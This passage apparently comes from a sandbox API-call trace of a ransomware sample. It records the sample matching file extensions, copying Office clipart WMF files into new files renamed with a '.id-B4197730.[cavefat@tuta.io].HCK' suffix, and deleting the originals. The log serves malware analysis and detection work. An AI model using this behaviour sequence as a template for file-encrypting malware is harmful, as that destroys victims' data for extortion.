lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0230.086] lstrlenW (lpString=".1cd") returned 4 [0230.086] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0230.086] lstrlenW (lpString=".jpg") returned 4 [0230.086] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.087] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0230.087] lstrlenW (lpString="J0103058.WMF") returned 12 [0230.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0230.087] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=17344) returned 1 [0230.087] CloseHandle (hObject=0x4d4) returned 1 [0230.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf")) returned 0x220 [0230.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0230.088] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.088] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0230.089] GetLastError () returned 0x0 [0230.089] ReadFile (in: hFile=0x4d4, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x43c0, lpOverlapped=0x0) returned 1 [0230.090] WriteFile (in: hFile=0x4a8, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x43d0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x43d0, lpOverlapped=0x0) returned 1 [0230.092] ReadFile (in: hFile=0x4d4, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0230.092] WriteFile (in: hFile=0x4a8, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0230.092] SetEndOfFile (hFile=0x4a8) returned 1 [0230.092] CloseHandle (hObject=0x4a8) returned 1 [0230.092] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.093] SetEndOfFile (hFile=0x4d4) returned 1 [0230.094] CloseHandle (hObject=0x4d4) returned 1 [0230.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.095] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf")) returned 1 [0230.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0230.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0230.095] lstrlenW (lpString=".doc") returned 4 [0230.095] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.095] lstrlenW (lpString=".docx") returned 5 [0230.095] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0230.095] lstrlenW (lpString=".pdf") returned 4 [0230.095] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.096] lstrlenW (lpString=".xls") returned 4 [0230.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.096] lstrlenW (lpString=".xlsx") returned 5 [0230.096] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0230.096] lstrlenW (lpString=".ppt") returned 4 [0230.096] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0230.096] lstrlenW (lpString=".zip") returned 4 [0230.096] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.096] lstrlenW (lpString=".rar") returned 4 [0230.096] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.096] lstrlenW (lpString=".bz2") returned 4 [0230.096] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.096] lstrlenW (lpString=".7z") returned 3 [0230.096] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0230.096] lstrlenW (lpString=".dbf") returned 4 [0230.096] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0230.096] lstrlenW (lpString=".1cd") returned 4 [0230.096] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0230.096] lstrlenW (lpString=".jpg") returned 4 [0230.096] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0230.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0230.096] lstrlenW (lpString=".doc") returned 4 [0230.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.096] lstrlenW (lpString=".docx") returned 5 [0230.096] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0230.096] lstrlenW (lpString=".pdf") returned 4 [0230.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.096] lstrlenW (lpString=".xls") returned 4 [0230.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.096] lstrlenW (lpString=".xlsx") returned 5 [0230.096] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0230.096] lstrlenW (lpString=".ppt") returned 4 [0230.096] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0230.096] lstrlenW (lpString=".zip") returned 4 [0230.096] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.096] lstrlenW (lpString=".rar") returned 4 [0230.096] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.096] lstrlenW (lpString=".bz2") returned 4 [0230.096] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.097] lstrlenW (lpString=".7z") returned 3 [0230.097] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0230.097] lstrlenW (lpString=".dbf") returned 4 [0230.097] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0230.097] lstrlenW (lpString=".1cd") returned 4 [0230.097] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0230.097] lstrlenW (lpString=".jpg") returned 4 [0230.097] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.097] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0230.097] lstrlenW (lpString="J0103262.WMF") returned 12 [0230.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0230.098] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=12900) returned 1 [0230.098] CloseHandle (hObject=0x4d4) returned 1 [0230.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf")) returned 0x220 [0230.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0230.098] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.098] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0230.099] GetLastError () returned 0x0 [0230.099] ReadFile (in: hFile=0x4d4, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x3264, lpOverlapped=0x0) returned 1 [0230.100] WriteFile (in: hFile=0x4a8, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x3270, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x3270, lpOverlapped=0x0) returned 1 [0230.101] ReadFile (in: hFile=0x4d4, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0230.101] WriteFile (in: hFile=0x4a8, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0230.101] SetEndOfFile (hFile=0x4a8) returned 1 [0230.101] CloseHandle (hObject=0x4a8) returned 1 [0230.101] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.101] SetEndOfFile (hFile=0x4d4) returned 1 [0230.259] CloseHandle (hObject=0x4d4) returned 1 [0230.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.646] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf")) returned 1 [0230.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0230.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0230.844] lstrlenW (lpString=".doc") returned 4 [0230.844] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.844] lstrlenW (lpString=".docx") returned 5 [0230.844] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0230.844] lstrlenW (lpString=".pdf") returned 4 [0230.844] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.844] lstrlenW (lpString=".xls") returned 4 [0230.844] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.844] lstrlenW (lpString=".xlsx") returned 5 [0230.844] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0230.844] lstrlenW (lpString=".ppt") returned 4 [0230.844] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0230.844] lstrlenW (lpString=".zip") returned 4 [0230.844] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.844] lstrlenW (lpString=".rar") returned 4 [0230.844] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.844] lstrlenW (lpString=".bz2") returned 4 [0230.844] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.844] lstrlenW (lpString=".7z") returned 3 [0230.844] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0230.844] lstrlenW (lpString=".dbf") returned 4 [0230.844] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0230.844] lstrlenW (lpString=".1cd") returned 4 [0230.844] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0230.844] lstrlenW (lpString=".jpg") returned 4 [0230.844] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0230.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0230.844] lstrlenW (lpString=".doc") returned 4 [0230.844] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.844] lstrlenW (lpString=".docx") returned 5 [0230.844] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0230.844] lstrlenW (lpString=".pdf") returned 4 [0230.844] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.844] lstrlenW (lpString=".xls") returned 4 [0230.844] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.844] lstrlenW (lpString=".xlsx") returned 5 [0230.844] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0230.844] lstrlenW (lpString=".ppt") returned 4 [0230.844] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0230.845] lstrlenW (lpString=".zip") returned 4 [0230.845] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.845] lstrlenW (lpString=".rar") returned 4 [0230.845] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.845] lstrlenW (lpString=".bz2") returned 4 [0230.845] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.845] lstrlenW (lpString=".7z") returned 3 [0230.845] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0230.845] lstrlenW (lpString=".dbf") returned 4 [0230.845] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0230.845] lstrlenW (lpString=".1cd") returned 4 [0230.845] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0230.845] lstrlenW (lpString=".jpg") returned 4 [0230.845] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.845] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0230.845] lstrlenW (lpString="J0105244.WMF") returned 12 [0230.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0230.847] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=11228) returned 1 [0230.847] CloseHandle (hObject=0x4cc) returned 1 [0230.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf")) returned 0x220 [0230.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0230.848] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.848] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0230.849] GetLastError () returned 0x0 [0230.849] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x2bdc, lpOverlapped=0x0) returned 1 [0230.850] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x2be0, lpOverlapped=0x0) returned 1 [0230.851] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0230.851] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0230.851] SetEndOfFile (hFile=0x4bc) returned 1 [0230.851] CloseHandle (hObject=0x4bc) returned 1 [0230.851] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.851] SetEndOfFile (hFile=0x4cc) returned 1 [0230.853] CloseHandle (hObject=0x4cc) returned 1 [0230.853] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.854] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf")) returned 1 [0230.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0230.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0230.854] lstrlenW (lpString=".doc") returned 4 [0230.854] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.854] lstrlenW (lpString=".docx") returned 5 [0230.854] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0230.854] lstrlenW (lpString=".pdf") returned 4 [0230.854] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.854] lstrlenW (lpString=".xls") returned 4 [0230.854] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.854] lstrlenW (lpString=".xlsx") returned 5 [0230.854] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0230.854] lstrlenW (lpString=".ppt") returned 4 [0230.854] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0230.855] lstrlenW (lpString=".zip") returned 4 [0230.855] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.855] lstrlenW (lpString=".rar") returned 4 [0230.855] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.855] lstrlenW (lpString=".bz2") returned 4 [0230.855] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.855] lstrlenW (lpString=".7z") returned 3 [0230.855] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0230.855] lstrlenW (lpString=".dbf") returned 4 [0230.855] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0230.855] lstrlenW (lpString=".1cd") returned 4 [0230.855] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0230.855] lstrlenW (lpString=".jpg") returned 4 [0230.855] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0230.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0230.855] lstrlenW (lpString=".doc") returned 4 [0230.855] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.855] lstrlenW (lpString=".docx") returned 5 [0230.855] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0230.855] lstrlenW (lpString=".pdf") returned 4 [0230.855] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.855] lstrlenW (lpString=".xls") returned 4 [0230.855] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.855] lstrlenW (lpString=".xlsx") returned 5 [0230.855] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0230.855] lstrlenW (lpString=".ppt") returned 4 [0230.855] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0230.855] lstrlenW (lpString=".zip") returned 4 [0230.855] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.855] lstrlenW (lpString=".rar") returned 4 [0230.855] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.855] lstrlenW (lpString=".bz2") returned 4 [0230.855] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.855] lstrlenW (lpString=".7z") returned 3 [0230.855] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0230.855] lstrlenW (lpString=".dbf") returned 4 [0230.855] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0230.855] lstrlenW (lpString=".1cd") returned 4 [0230.855] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0230.855] lstrlenW (lpString=".jpg") returned 4 [0230.855] lstrcmpiW 